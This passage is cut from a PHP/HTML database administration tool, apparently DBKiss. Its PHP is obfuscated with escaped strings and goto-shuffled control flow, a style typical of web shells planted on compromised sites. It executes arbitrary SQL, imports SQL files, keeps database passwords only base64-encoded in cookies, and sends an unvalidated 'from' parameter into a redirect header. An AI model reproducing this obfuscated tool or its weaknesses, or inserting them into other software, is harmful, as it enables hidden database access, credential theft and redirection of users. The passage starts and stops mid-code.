Sort_Mousemove(e,t){Sort_Mouseover(e,t)}function Sort_Click(e,t){console.log("Sort_Click",e,t);var n=ElementSide(e,t),o=e.getAttribute("mylink");o||console.log(o,e,t),o=e.innerHTML.match(/class="?((up|down)arrow1)"?/i)?o:n.left?o.replace(/(order_desc=)\d+/,function(e,t){return t+"0"}):o.replace(/(order_desc=)\d+/,function(e,t){return t+"1"}),window.location.href=o}document.addEventListener?document.addEventListener("keydown",function(e){17==e.keyCode&&(IS_CTRL=1)},!1):document.attachEvent("onkeydown",function(e){17==(e=e||window.event).keyCode&&(IS_CTRL=1)}),document.addEventListener?document.addEventListener("keyup",function(e){17==e.keyCode&&(IS_CTRL=0)},!1):document.attachEvent("onkeyup",function(e){17==(e=e||window.event).keyCode&&(IS_CTRL=0)})</script><a href="javascript:;"accesskey="q"></a> <a href="javascript:;"accesskey="z"></a> <a href="javascript:;"accesskey="s"></a><?php  } goto jTHCb; hV7eT: $global_columns = array(); goto NtBmd; SP0nY: function conn_modify($key) { if (!isset($_GET["\x66\x72\x6f\155"])) { GET("\x66\x72\157\155", "\x73\164\162\151\x6e\x67"); } if (array_key_exists($key, $_GET)) { cookie_set($key, $_GET[$key], cookie_get("\x72\x65\155\145\x6d\142\x65\x72") ? COOKIE_WEEK : COOKIE_SESS); if ($_GET["\146\162\x6f\155"]) { header("\114\157\x63\141\164\151\157\156\x3a\40" . $_GET["\146\162\x6f\x6d"]); } else { header("\x4c\x6f\x63\x61\164\x69\x6f\x6e\x3a\x20" . $_SERVER["\x50\x48\120\x5f\123\x45\114\x46"]); } die; } } goto sf7tD; BH4pN: function str_truncate($string, $length, $etc = "\x20\x2e\56", $break_words = true) { if ($length == 0) { return ''; } if (strlen($string) > $length + strlen($etc)) { if (!$break_words) { $string = preg_replace("\57\x5c\x73\x2b\77\50\134\x53\x2b\x29\x3f\44\x2f", '', substr($string, 0, $length + 1)); } return substr($string, 0, $length) . $etc; } return $string; } goto AKqSC; yoJj3: ?>
</table><?php  goto PJcCZ; mM9Oz: ?>
"><?php  goto KZKEY; ct3MZ: GET("\x76\151\x65\167\163\x5f\143\x6f\x75\156\164", "\142\x6f\157\x6c"); goto ry_zx; yOeWR: echo html_once($_GET["\164\141\x62\154\145\137\146\x69\x6c\x74\x65\162"]); goto mWBml; xmSDA: POST("\x69\147\156\x6f\x72\x65\137\145\x72\x72\x6f\x72\x73", "\x62\157\157\154"); goto tAN49; CmqfR: function rawlayout_end() { ?>
</body></html><?php  } goto aP_Pc; dcUS6: $sql_area .= "\x62\x6f\x72\x64\145\x72\x2d\162\x61\x64\151\x75\163\72\40\64\160\x78\73\40\142\157\170\55\x73\150\141\x64\157\x77\x3a\40\61\x70\x78\x20\x31\160\x78\40\x32\160\x78\40\x23\x64\144\x64\x3b\40\x6d\141\162\147\151\156\x2d\x62\x6f\164\x74\157\x6d\72\x20\x36\160\x78\x3b"; goto miop5; y2GAM: GET("\144\142\x6b\x69\163\x73\x5f\x66\141\166\x69\143\x6f\x6e", "\142\157\157\x6c"); goto ipkgZ; fs_A4: function db_list($query) { global $db_driver, $db_link; $rs = db_query($query); $ret = array(); if ("\155\x79\x73\161\154" == $db_driver) { while ($row = mysql_fetch_assoc($rs)) { $ret[] = $row; } } else { if ("\160\x67\x73\x71\x6c" == $db_driver) { while ($row = pg_fetch_assoc($rs)) { $ret[] = $row; } } else { if ("\163\x71\154\151\164\x65" == $db_driver) { return $rs->fetchAll(PDO::FETCH_ASSOC); } } } db_free($rs); return $ret; } goto AYdBz; s_VbR: function error($msg = null) { if (isset($msg) && func_num_args() > 1) { $args = func_get_args(); $msg = call_user_func_array("\x73\x70\162\x69\156\164\x66", $args); } global $_error, $_error_style; if (isset($msg)) { $_error[] = $msg; } if (!count($_error)) { return null; } if (count($_error) == 1) { return sprintf("\x3c\144\x69\x76\x20\143\x6c\x61\163\163\x3d\x22\145\x72\162\157\162\x22\40\163\164\x79\154\145\x3d\42\45\163\42\x3e\x25\163\x3c\57\144\x69\166\x3e", $_error_style, $_error[0]); } $ret = "\74\x64\x69\x76\40\x63\x6c\x61\x73\x73\75\x22\x65\162\x72\x6f\162\42\40\x73\164\171\x6c\145\75\42" . $_error_style . "\42\x3e\106\x6f\154\x6c\157\167\x69\x6e\x67\40\145\162\x72\x6f\x72\163\x20\141\x70\160\x65\141\162\145\144\72\74\165\x6c\x3e"; foreach ($_error as $msg) { $ret .= sprintf("\x3c\x6c\151\x3e\x25\x73\x3c\57\x6c\151\x3e", $msg); } $ret .= "\x3c\57\x75\x6c\x3e\x3c\x2f\144\151\x76\76"; return $ret; } goto d7k5U; rjRB4: GET("\x73\x65\x70\141\162\141\164\157\162", "\163\x74\x72\x69\156\x67"); goto yS027; ZCx6r: function array_first($arr) { $arr2 = $arr; return array_shift($arr2); } goto jebfy; RsJtD: function db_seq_id($seqName) { return db_one("\x53\x45\114\105\103\x54\x20\143\x75\162\162\x76\x61\154\50\x25\x73\x65\x71\x4e\141\155\145\51", array("\163\145\x71\x4e\x61\155\x65" => $seqName)); } goto Cx9cu; iRCBR: function ConvertPolishToUTF8($String) { $ReplacePairs = array("\271" => "\304\x85", "\xa5" => "\xc4\x84", "\xe6" => "\xc4\207", "\306" => "\304\206", "\xea" => "\304\x99", "\xca" => "\304\230", "\xb3" => "\xc5\202", "\xa3" => "\305\x81", "\361" => "\305\x84", "\321" => "\305\x83", "\xf3" => "\xc3\263", "\323" => "\303\223", "\x9c" => "\xc5\x9b", "\x8c" => "\305\232", "\x9f" => "\305\xba", "\x8f" => "\xc5\xb9", "\xbf" => "\xc5\274", "\xaf" => "\305\xbb", "\xb1" => "\304\x85", "\241" => "\xc4\x84", "\346" => "\xc4\x87", "\306" => "\xc4\206", "\xea" => "\304\231", "\312" => "\xc4\x98", "\xb3" => "\305\202", "\243" => "\xc5\x81", "\361" => "\305\x84", "\321" => "\305\x83", "\363" => "\303\xb3", "\xd3" => "\303\223", "\266" => "\xc5\x9b", "\xa6" => "\305\x9a", "\274" => "\305\xba", "\254" => "\305\xb9", "\277" => "\xc5\xbc", "\257" => "\xc5\xbb"); return strtr($String, $ReplacePairs); } goto A3L2f; d0IpD: ?>
<th style="min-width:65px">Options</th></tr><?php  goto Jb6tQ; c2Cai: ?>
<!doctypehtml><html><head><meta content="text/html; charset=<?php  goto BsIDi; CQ0jz: ini_set("\x68\164\x6d\x6c\x5f\145\162\162\x6f\162\163", 0); goto h0jhG; wrHN_: POST("\x71\165\x65\x72\171\x5f\163\164\x61\x72\x74", "\151\x6e\164"); goto v0SYE; NGFe7: if (!function_exists("\x61\x72\x72\141\x79\137\167\141\154\153\137\x72\145\x63\165\x72\163\151\166\x65")) { function array_walk_recursive(&$array, $func) { foreach ($array as $k => $v) { if (is_array($v)) { array_walk_recursive($array[$k], $func); } else { $func($array[$k], $k); } } } } goto WQ_is; Jb6tQ: if (!count($tables)) { ?>
<tr><td style="padding:.25em .5em"align=""colspan="4">No tables found.</td></tr><?php  } goto tMaJ2; N3mDn: $charset2 = charset_assoc($charset2); goto DgmHm; X_iux: $export_data = $_SERVER["\x50\x48\x50\x5f\x53\105\114\x46"] . "\77\x64\165\x6d\x70\x5f\x61\x6c\154\75\62\46\164\141\x62\x6c\145\137\x66\x69\x6c\164\x65\162\75" . urlencode(html_once($_GET["\164\141\x62\x6c\x65\137\x66\x69\x6c\x74\x65\x72"])); goto vBQz7; NHb3P: ob_start("\x6f\x62\x5f\x67\x7a\150\x61\156\x64\x6c\x65\162"); goto tSgiQ; Q5Wnv: if (!defined("\104\x42\x4b\x49\123\123\137\123\121\114\137\x44\111\122")) { define("\104\x42\x4b\111\x53\123\137\x53\121\114\x5f\104\x49\122", "\172\172\172\137\163\161\x6c"); } goto eKJFy; NuF57: function ColorSearchPhrase($html, $search) { if (strstr($html, "\74")) { preg_match_all("\43\74\x5b\x5e\74\x3e\135\53\76\x23", $html, $matches); $id = 0; $uniqueArray = array(); foreach ($matches[0] as $tag) { $id++; $uniqueString = "\100\100\100\100\100{$id}\100\x40\x40\100\100"; $uniqueArray[$uniqueString] = $tag; $html = str_replace($tag, $uniqueString, $html); } $search = preg_quote($search); $html = preg_replace("\43\50" . $search . "\51\43\x69", "\x3c\163\160\141\x6e\40\163\x74\x79\154\x65\x3d\42\142\141\x63\x6b\x67\x72\157\x75\x6e\144\x3a\x20\x23\146\x66\x66\146\x39\x36\x3b\42\76\44\x31\x3c\57\x73\x70\x61\156\76", $html); foreach ($uniqueArray as $uniqueString => $tag) { $html = str_replace($uniqueString, $tag, $html); } return $html; } else { $search = preg_quote($search); $html = preg_replace("\x23\50" . $search . "\51\x23\151", "\74\163\160\141\x6e\40\163\164\171\154\145\x3d\x22\142\x61\x63\153\147\x72\157\x75\x6e\144\x3a\40\x23\146\x66\146\146\x39\x36\x3b\x22\x3e\44\x31\74\57\x73\160\141\x6e\76", $html); return $html; } } goto N2qAE; YaynU: function db_where($where_array, $field_prefix = null, $omit_where = false) { global $db_driver; $field_prefix = str_replace("\56", '', $field_prefix); $where = ''; if (count($where_array)) { foreach ($where_array as $wh_k => $wh) { if (is_numeric($wh_k)) { if ($wh) { if ($field_prefix && !preg_match("\x23\136\x5c\163\52\x5c\x77\53\x5c\56\x23\151", $wh) && !preg_match("\43\x5e\134\x73\x2a\x5c\x77\53\x5c\x73\52\x5c\x28\x23\x69", $wh)) { if ("\x6d\171\163\x71\154" == $db_driver) { $wh = "\140{$field_prefix}\140" . "\56" . trim($wh); } else { $wh = "\x22{$field_prefix}\x22" . "\x2e" . trim($wh); } } if ($where) { $where .= "\x20\101\116\x44\x20"; } $where .= $wh; } } else { if ($wh_k) { if ($field_prefix && !preg_match("\43\136\x5c\163\x2a\134\167\x2b\134\x2e\43\151", $wh_k) && !preg_match("\x23\x5e\134\x73\x2a\134\x77\53\x5c\x73\52\x5c\50\43\151", $wh)) { if ("\x6d\x79\163\161\x6c" == $db_driver) { $wh_k = "\x60{$field_prefix}\140" . "\56" . $wh_k; } else { $wh_k = "\x22{$field_prefix}\42" . "\x2e" . $wh_k; } } $wh = db_cond($wh_k, $wh); if ($where) { $where .= "\40\101\116\104\x20"; } $where .= $wh; } } } if ($where) { if (!$omit_where) { $where = "\40\127\110\105\x52\x45\x20" . $where; } } } return $where; } goto caiKd; IoMql: function db_rollback() { global $db_driver; if ("\x6d\x79\163\x71\154" == $db_driver) { db_exe("\x52\x4f\x4c\114\x42\x41\x43\x4b"); db_exe("\123\x45\x54\40\x41\125\124\x4f\x43\117\x4d\x4d\111\124\x3d\61"); } else { if ("\x70\x67\163\x71\154" == $db_driver) { db_exe("\x52\x4f\114\x4c\102\101\x43\x4b"); } else { if ("\x73\x71\154\x69\x74\145" == $db_driver) { db_exe("\x52\x4f\x4c\114\102\x41\103\x4b\x20\x54\x52\x41\116\123\101\103\x54\x49\117\x4e"); } } } } goto uGGWD; kmRwN: ?>
"style="margin-bottom:.5em"name="AutoFocus_Form"onsubmit='document.getElementById("AutoFocus_Submit").focus()'><table cellspacing="0"cellpadding="0"><tr><td style="padding-right:3px">Table:</td><td style="padding-right:3px"><input value="<?php  goto yOeWR; JpEBE: if (SQLITE_USED) { if (defined("\123\121\x4c\111\124\105\x5f\111\x4e\x53\x45\103\x55\122\105") && SQLITE_INSECURE) { assert(!defined("\x53\x51\x4c\111\124\105\137\125\x53\x45\x52") && !defined("\123\121\x4c\x49\x54\x45\137\x50\101\123\x53\127\117\122\x44")); } else { assert(!defined("\123\x51\114\111\124\x45\x5f\x49\116\123\105\103\x55\122\x45")); define("\x48\124\x5f\x55\x53\x45\x52", SQLITE_USER); define("\x48\124\x5f\x50\101\123\123\127\x4f\x52\104", SQLITE_PASSWORD); define("\x48\x54\x5f\120\101\124\x48", ''); define("\110\x54\x5f\104\117\x4d\x41\x49\x4e", ''); define("\110\x54\x5f\x50\x52\105\106\x49\130", ''); define("\x48\124\137\123\105\x43\x55\122\x45", false); ht_controller(); } } goto jStKP; MSmIJ: function db_begin() { global $db_driver; if ("\155\x79\163\x71\x6c" == $db_driver) { db_exe("\123\x45\124\x20\x41\125\x54\117\103\x4f\x4d\x4d\x49\124\75\x30"); db_exe("\x42\x45\x47\x49\116"); } else { if ("\x70\x67\163\161\x6c" == $db_driver) { db_exe("\x42\105\107\111\x4e"); } else { if ("\x73\x71\154\151\x74\x65" == $db_driver) { db_exe("\x42\105\107\111\x4e\40\x54\122\x41\x4e\123\101\x43\124\111\x4f\x4e"); } } } } goto sDF2M; UUaqr: ?>
<table cellspacing="0"class="ls tables"style="margin-top:1em"><tr><th style="min-width:70px">Table</th><?php  goto DPe3G; Gq1ye: function POST($key, $type) { if ("\163\x74\162\151\x6e\147" == $type) { $_POST[$key] = isset($_POST[$key]) ? (string) $_POST[$key] : ''; } else { if ("\151\156\164" == $type) { $_POST[$key] = isset($_POST[$key]) ? (int) $_POST[$key] : 0; } else { if ("\142\x6f\157\x6c" == $type) { $_POST[$key] = isset($_POST[$key]) ? (bool) $_POST[$key] : false; } else { if ("\x61\x72\x72\x61\171" == $type) { $_POST[$key] = isset($_POST[$key]) ? (array) $_POST[$key] : array(); } else { trigger_error("\x50\x4f\123\124\50\51\40\x66\x61\151\154\x65\x64\72\40\x6b\145\x79\75{$key}\54\40\x74\x79\x70\x65\75{$type}", E_USER_ERROR); } } } } return $_POST[$key]; } goto y2GAM; Zrgs9: function import($file, $ignore_errors = false, $transaction = false, $force_myisam = false, $query_start = false) { global $db_driver, $db_link, $db_charset; if ($ignore_errors && $transaction) { echo "\74\x64\x69\166\76\x59\157\165\40\143\141\x6e\156\157\164\x20\x73\145\x6c\145\x63\164\40\x62\x6f\164\x68\x3a\40\x69\x67\x6e\157\162\151\x6e\147\x20\x65\x72\x72\x6f\162\163\40\x61\156\x64\x20\x74\162\x61\156\163\141\x63\164\151\157\156\74\x2f\x64\151\x76\x3e"; die; } $count_errors = 0; set_time_limit(0); $fp = fopen($file, "\x72"); if (!$fp) { die("\x66\x6f\x70\145\156\x28" . $file . "\51\40\146\141\x69\x6c\145\x64"); } flock($fp, 1); $text = trim(fread($fp, filesize($file))); flock($fp, 3); fclose($fp); if ($force_myisam) { $text = preg_replace("\43\124\131\x50\105\x5c\x73\52\75\x5c\163\52\x49\156\156\x6f\104\102\x23\x69", "\124\131\120\x45\x3d\115\x79\111\x53\101\115", $text); } $text = preg_split("\43\x3b\x28\15\12\174\xa\174\xd\51\x23", $text); $x = 0; echo "\x3c\144\151\x76\76\111\x67\156\157\x72\151\156\x67\x20\145\x72\162\x6f\x72\163\x3a\40\74\142\76" . ($ignore_errors ? "\131\x65\x73" : "\116\x6f") . "\x3c\57\142\76\x3c\x2f\x64\x69\x76\76"; echo "\74\144\151\166\76\124\162\141\156\163\x61\143\164\151\x6f\156\72\x20\x3c\x62\x3e" . ($transaction ? "\x59\145\163" : "\x4e\157") . "\x3c\x2f\142\x3e\74\x2f\144\x69\166\x3e"; echo "\74\144\151\166\76\106\x6f\162\143\x65\x20\x4d\171\111\x73\x61\x6d\72\40\74\x62\76" . ($force_myisam ? "\x59\x65\x73" : "\x4e\x6f") . "\x3c\x2f\x62\76\74\57\x64\x69\166\x3e"; echo "\74\144\x69\x76\76\x51\x75\x65\x72\x79\40\x73\x74\x61\162\164\72\40\74\x62\x3e\x23" . $query_start . "\x3c\x2f\x62\x3e\x3c\x2f\144\x69\166\x3e"; echo "\x3c\x64\151\166\76\121\165\145\162\x69\x65\x73\40\x66\x6f\165\156\144\72\40\x3c\x62\x3e" . count($text) . "\x3c\57\x62\x3e\74\x2f\144\151\x76\76"; echo "\74\144\151\166\76\105\x78\145\143\165\x74\151\156\147\40\x2e\56\56\x3c\57\x64\x69\166\x3e"; flush(); if ($transaction) { echo "\74\144\x69\166\76\x42\x45\x47\111\x4e\73\74\x2f\144\x69\x76\x3e"; db_begin(); } $time = time_start(); $query_start = (int) $query_start; if (!$query_start) { $query_start = 1; } $query_no = 0; foreach ($text as $key => $value) { $x++; $query_no++; if ($query_start > $query_no) { continue; } if ("\155\171\163\161\x6c" == $db_driver) { $result = @mysql_query($value . "\x3b", $db_link); } if ("\x70\147\x73\161\x6c" == $db_driver) { $result = @pg_query($db_link, $value . "\x3b"); } if (!$result) { $x--; if (!$count_errors) { echo "\74\164\x61\142\x6c\145\40\x63\x6c\141\163\163\x3d\x22\x6c\x73\42\40\x63\x65\154\x6c\x73\x70\141\143\151\x6e\147\x3d\42\x31\x22\x3e\74\x74\162\x3e\74\164\x68\x20\167\151\144\164\150\x3d\x22\62\x35\x25\x22\76\105\162\x72\157\x72\x3c\57\164\150\76\x3c\164\x68\x3e\121\165\x65\162\x79\x3c\57\x74\150\76\74\x2f\164\x72\76"; } $count_errors++; echo "\x3c\x74\x72\x3e\74\x74\144\x3e\43" . $query_no . "\x20" . db_error() . "\51" . "\74\57\x74\x64\x3e\x3c\x74\144\x3e" . nl2br(html_once($value)) . "\74\57\x74\144\76\74\x2f\164\162\x3e"; flush(); if (!$ignore_errors) { echo "\x3c\x2f\x74\141\x62\x6c\145\76"; echo "\x3c\x64\x69\x76\76\74\163\x70\141\x6e\x20\x73\164\x79\154\x65\75\x22\x63\x6f\154\x6f\x72\72\x20\162\145\144\73\42\76\74\x62\x3e\x49\155\160\x6f\x72\x74\40\x66\x61\x69\x6c\x65\144\56\74\x2f\x62\x3e\x3c\x2f\163\160\x61\156\x3e\x3c\57\144\151\x76\x3e"; echo "\x3c\x64\151\166\76\x51\165\145\x72\x69\145\x73\40\x65\170\x65\143\x75\x74\x65\144\72\x20\x3c\142\76" . ($x - $query_start + 1) . "\74\x2f\x62\76\56\x3c\57\144\x69\166\x3e"; if ($transaction) { echo "\x3c\x64\151\166\76\122\117\x4c\x4c\102\x41\x43\113\73\74\57\144\x69\x76\x3e"; db_rollback(); } echo "\74\x62\162\x3e\74\x64\x69\x76\x3e\74\141\x20\150\x72\x65\146\75\42" . $_SERVER["\120\x48\x50\x5f\x53\105\x4c\106"] . "\77\151\155\x70\x6f\x72\164\75\x31\42\x3e\x26\x6c\x74\x3b\46\x6c\164\73\x20\x67\x6f\x20\142\141\143\153\x3c\57\141\76\x3c\57\x64\x69\166\76"; die; } } } if ($count_errors) { echo "\74\x2f\164\141\x62\154\x65\76"; } if ($transaction) { echo "\74\144\151\x76\76\x43\117\x4d\115\111\124\x3b\x3c\x2f\x64\151\166\76"; db_end(); } echo "\74\x64\x69\x76\76\x3c\163\x70\141\156\x20\163\x74\171\x6c\145\75\x22\143\x6f\154\x6f\162\x3a\40\147\162\145\145\x6e\x3b\x22\76\x3c\142\76\x49\155\x70\157\x72\x74\x20\x66\151\156\x69\x73\x68\x65\144\56\74\x2f\142\x3e\74\57\x73\160\141\x6e\76\x3c\57\144\x69\x76\x3e"; echo "\x3c\x64\x69\166\76\x51\x75\145\x72\x69\x65\163\x20\145\170\x65\143\165\164\x65\144\72\40\74\142\76" . ($x - $query_start + 1) . "\74\x2f\x62\76\x2e\74\57\x64\x69\166\76"; echo "\74\144\151\x76\x3e\x54\151\x6d\145\72\40\x3c\x62\x3e" . time_end($time) . "\74\57\142\x3e\x20\x73\145\143\74\57\x64\151\166\x3e"; echo "\74\142\162\x3e\x3c\x64\x69\x76\x3e\x3c\141\x20\x68\162\x65\146\75\42" . $_SERVER["\x50\110\120\x5f\x53\105\x4c\106"] . "\77\x69\x6d\x70\x6f\x72\x74\75\x31\42\x3e\46\x6c\x74\73\x26\154\164\73\40\x67\x6f\40\x62\x61\x63\153\x3c\x2f\141\76\74\x2f\144\151\x76\76"; } goto OAvNT; PAwFH: function ht_user() { if (isset($_COOKIE["\150\164\137\165\163\145\162"]) && HT_USER == $_COOKIE["\x68\x74\137\165\163\x65\x72"]) { return $_COOKIE["\x68\x74\137\165\163\145\162"]; } } goto RPL9m; N2qAE: function table_filter($tables, $filter) { $filter = trim($filter); if ($filter) { foreach ($tables as $k => $table) { if (!stristr($table, $filter)) { unset($tables[$k]); } } } return $tables; } goto Bh4lu; JGwKU: if (!$db_pass || (!$db_driver || !$db_server || !$db_name || !$db_user)) { assert(!SQLITE_USED); POST("\x64\142\x5f\x64\162\151\x76\x65\x72", "\163\x74\162\x69\156\147"); POST("\x64\x62\x5f\x73\145\162\166\x65\x72", "\163\x74\162\151\156\147"); POST("\144\142\x5f\x6e\141\x6d\145", "\163\x74\162\x69\156\x67"); POST("\x64\x62\x5f\165\x73\145\162", "\163\x74\x72\x69\156\147"); POST("\144\x62\137\160\141\x73\163", "\163\164\x72\x69\x6e\x67"); POST("\144\142\x5f\x63\150\141\x72\x73\145\x74", "\x73\x74\162\151\x6e\x67"); POST("\160\x61\x67\x65\x5f\x63\150\141\162\163\145\164", "\x73\x74\162\x69\156\x67"); POST("\162\x65\x6d\x65\155\142\145\162", "\x62\157\x6f\154"); if ("\x50\117\123\x54" == $_SERVER["\x52\x45\121\125\x45\x53\124\137\115\105\124\110\117\x44"]) { $db_driver = $_POST["\x64\x62\x5f\144\x72\151\x76\x65\162"]; $db_server = $_POST["\x64\142\137\163\x65\162\x76\x65\162"]; $db_name = $_POST["\x64\142\137\156\x61\155\145"]; $db_user = $_POST["\x64\x62\137\x75\163\x65\x72"]; $db_pass = $_POST["\x64\x62\137\x70\x61\163\163"]; $db_charset = $_POST["\x64\142\137\143\x68\x61\x72\163\x65\x74"]; $page_charset = $_POST["\160\141\147\x65\137\x63\x68\x61\x72\x73\145\x74"]; if ($db_driver && $db_server && $db_name && $db_user) { $db_test = true; db_connect($db_server, $db_name, $db_user, $db_pass); if (is_resource($db_link)) { $time = $_POST["\162\x65\155\x65\x6d\x62\x65\x72"] ? COOKIE_WEEK : COOKIE_SESS; cookie_set("\x64\142\137\x64\x72\151\x76\x65\x72", $db_driver, $time); cookie_set("\144\142\x5f\163\x65\162\166\145\x72", $db_server, $time); cookie_set("\144\142\x5f\x6e\141\155\x65", $db_name, $time); cookie_set("\x64\142\x5f\165\x73\145\x72", $db_user, $time); cookie_set("\x64\x62\137\x70\141\x73\163", base64_encode($db_pass), $time); cookie_set("\x64\142\x5f\x63\x68\141\x72\x73\145\x74", $db_charset, $time); cookie_set("\x70\x61\x67\x65\x5f\x63\150\141\162\163\x65\x74", $page_charset, $time); cookie_set("\162\x65\x6d\145\x6d\x62\x65\x72", $_POST["\162\145\x6d\145\155\x62\x65\x72"], $time); header("\114\157\x63\141\x74\x69\157\x6e\x3a\x20" . $_SERVER["\x50\x48\120\x5f\x53\105\114\x46"]); die; } } } else { $_POST["\x64\x62\137\144\162\151\166\x65\162"] = $db_driver; $_POST["\144\142\137\x73\x65\162\x76\x65\x72"] = $db_server ? $db_server : "\x6c\x6f\143\x61\154\x68\x6f\x73\x74"; $_POST["\144\x62\x5f\156\x61\x6d\145"] = $db_name; $_POST["\144\x62\137\x75\163\145\x72"] = $db_user; $_POST["\144\142\137\x63\150\141\x72\163\x65\x74"] = $db_charset; $_POST["\160\x61\147\x65\x5f\x63\x68\141\x72\x73\x65\x74"] = $page_charset; $_POST["\144\142\x5f\144\162\151\166\145\x72"] = $db_driver; } ?>
<!doctypehtml><html><head><meta content="text/html; charset=utf-8"http-equiv="Content-Type"><meta content="noindex, nofollow"name="robots"><title>Connect</title><link href="<?php  echo $_SERVER["\120\110\120\x5f\123\x45\114\x46"]; ?>
?dbkiss_favicon=1"rel="shortcut icon"></head><body><?php  layout(); ?>
<h1>Connect</h1><?php  if (isset($db_test) && is_string($db_test)) { ?>
<div style="background:#ffffd7;padding:.5em;border:#ccc 1px solid;margin-bottom:1em"><span style="color:red;font-weight:700">Error:</span><?php  echo $db_test; ?>
</div><?php  } ?>
<form action="<?php  echo $_SERVER["\x50\x48\120\137\x53\x45\x4c\106"]; ?>
"method="post"><table cellspacing="1"class="ls2"><tr><th>Driver:</th><td><select name="db_driver"><?php  echo options($driver_arr, $_POST["\x64\x62\137\x64\x72\x69\x76\145\x72"]); ?>
</select></td></tr><tr><th>Server:</th><td><input value="<?php  echo $_POST["\144\x62\x5f\163\145\162\x76\x65\x72"]; ?>
"name="db_server"></td></tr><tr><th>Database:</th><td><input value="<?php  echo $_POST["\144\142\137\156\x61\155\x65"]; ?>
"name="db_name"></td></tr><tr><th>User:</th><td><input value="<?php  echo $_POST["\144\142\x5f\165\163\x65\x72"]; ?>
"name="db_user"></td></tr><tr><th>Password:</th><td><input value=""name="db_pass"type="password"></td></tr><tr><th>Db charset:</th><td><input value="<?php  echo $_POST["\144\x62\137\x63\x68\141\162\163\x65\164"]; ?>
"name="db_charset"size="10"> (optional)</td></tr><tr><th>Page charset:</th><td><input value="<?php  echo $_POST["\x70\x61\x67\145\x5f\143\150\141\162\163\x65\164"]; ?>
"name="page_charset"size="10"> (optional)</td></tr><tr><td style="padding:0;background:0 0;padding-top:.3em"colspan="2"class="none"><table cellspacing="0"cellpadding="0"><tr><td><input value="1"name="remember"type="checkbox"id="remember"<?php  echo checked($_POST["\x72\x65\155\145\155\142\x65\x72"]); ?>
></td><td><label for="remember">remember me on this computer</label></td></tr></table></td></tr><tr><td style="padding-top:.4em"colspan="2"class="none"><input value="Connect"type="submit"></td></tr></table></form></body></html><?php  die; } goto EpJsE; d7k5U: function timestamp($time, $span = true) { $time_base = $time; $time = substr($time, 0, 16); $time2 = substr($time, 0, 10); $today = date("\x59\55\x6d\x2d\x64"); $yesterday = date("\131\x2d\x6d\55\x64", time() - 3600 * 24); if ($time2 == $today) { if (substr($time_base, -8) == "\x30\60\x3a\60\x30\x3a\x30\60") { $time = "\124\157\144\141\171"; } else { $time = "\x54\x6f\144\141\171" . substr($time, -6); } } else { if ($time2 == $yesterday) { $time = "\x59\x65\163\x74\145\x72\144\x61\x79" . substr($time, -6); } } return "\x3c\163\x70\141\x6e\40\163\x74\171\x6c\145\x3d\42\x77\150\x69\164\145\x2d\x73\x70\x61\x63\145\72\40\156\x6f\x77\x72\141\x70\x3b\42\76" . $time . "\74\x2f\163\x70\141\156\x3e"; } goto AWds0; asT5h: function quote_table($table) { global $db_driver; if ("\x6d\171\163\x71\154" == $db_driver) { return "\x60{$table}\140"; } else { return "\42{$table}\42"; } } goto SP7yO; Wvouw: $status = table_status(); goto hjTNA; tAN49: POST("\164\162\141\x6e\163\x61\143\164\x69\x6f\156", "\x62\157\157\154"); goto yflD7; vd4fP: if (GET("\x65\x78\145\143\x75\x74\145\x5f\x73\161\x6c", "\142\157\157\x6c")) { function listing($base_query, $md5_get = false) { GET("\146\165\x6c\154\137\143\157\156\x74\x65\156\x74", "\142\x6f\x6f\x6c"); GET("\x6f\x6e\x6c\x79\x5f\163\145\x6c\x65\x63\164", "\142\x6f\x6f\154"); GET("\x6f\x66\146\163\x65\164", "\151\x6e\x74"); POST("\x66\165\154\x6c\137\x63\157\x6e\x74\145\x6e\x74", "\x62\x6f\x6f\x6c"); POST("\157\x6e\154\171\x5f\163\x65\x6c\145\x63\164", "\x62\x6f\157\x6c"); global $db_driver, $db_link; $full_content = $_GET["\x66\165\154\154\137\x63\x6f\x6e\x74\145\156\164"] || $_POST["\146\x75\154\x6c\x5f\143\x6f\156\x74\145\x6e\164"]; $md5_i = false; if ($md5_get) { preg_match("\x23\137\x28\134\x64\53\x29\x24\x23", $md5_get, $match); $md5_i = $match[1]; } $base_query = trim($base_query); if ("\x3b" == substr($base_query, -1)) { $base_query = substr($base_query, 0, -1); } $query = $base_query; $ret = array("\155\163\147" => '', "\145\162\x72\x6f\162" => '', "\x64\141\164\141\x5f\x68\x74\x6d\154" => false); $limit = 25; $offset = $_GET["\157\x66\146\163\x65\164"]; $page = floor($offset / $limit + 1); if ($query) { if (is_select($query) && !preg_match("\43\x5c\163\53\114\x49\x4d\111\x54\134\163\53\x5c\x64\53\x23\x69", $query) && !preg_match("\43\151\156\x74\x6f\x5c\x73\53\x6f\x75\164\x66\x69\154\145\134\x73\53\x23", $query)) { $query = db_limit($query, $offset, $limit); } else { $limit = false; } $time = time_start(); if (!db_is_safe($query, true)) { $ret["\145\x72\x72\157\x72"] = "\x44\x65\164\145\x63\164\145\x64\40\125\x50\x44\101\124\105\57\104\105\114\105\x54\105\x20\x77\x69\164\x68\157\165\x74\x20\127\x48\105\x52\x45\40\x63\157\x6e\144\151\x74\x69\157\156\x20\x28\x70\x75\164\40\127\x48\x45\x52\105\40\x31\x3d\61\x20\x69\146\x20\171\157\x75\x20\167\141\x6e\164\40\x74\157\x20\x65\x78\145\x63\165\x74\145\40\164\150\151\163\40\x71\x75\145\162\x79\51"; return $ret; } $rs = @db_query($query); if ($rs) { if ($rs === true) { if ("\155\x79\163\161\x6c" == $db_driver) { $affected = mysql_affected_rows($db_link); $time = time_end($time); $ret["\x64\x61\x74\141\x5f\150\x74\x6d\154"] = "\x3c\142\x3e" . $affected . "\x3c\57\x62\76\40\162\157\167\163\40\141\x66\x66\145\x63\164\x65\x64\56\x3c\142\162\x3e\124\x69\155\x65\72\x20\x3c\x62\x3e" . $time . "\x3c\x2f\142\76\40\x73\145\x63"; return $ret; } } else { if ("\160\x67\163\161\x6c" == $db_driver) { $affected = @pg_affected_rows($rs); if ($affected || preg_match("\x23\136\x5c\163\x2a\50\104\105\x4c\x45\x54\105\174\x55\x50\x44\x41\124\105\51\x5c\163\x2b\43\x69", $query)) { $time = time_end($time); $ret["\144\141\164\x61\137\150\x74\155\154"] = "\74\x70\x3e\74\142\76" . $affected . "\x3c\x2f\x62\x3e\40\162\157\167\163\40\x61\146\146\145\x63\164\x65\144\x2e\x20\124\x69\x6d\x65\72\40\x3c\142\76" . $time . "\74\x2f\x62\x3e\40\163\145\x63\74\x2f\160\76"; return $ret; } } } $rows = array(); while ($row = db_row($rs)) { $rows[] = $row; if ($limit) { if (count($rows) == $limit) { break; } } } db_free($rs); if (is_select($base_query)) { $found = 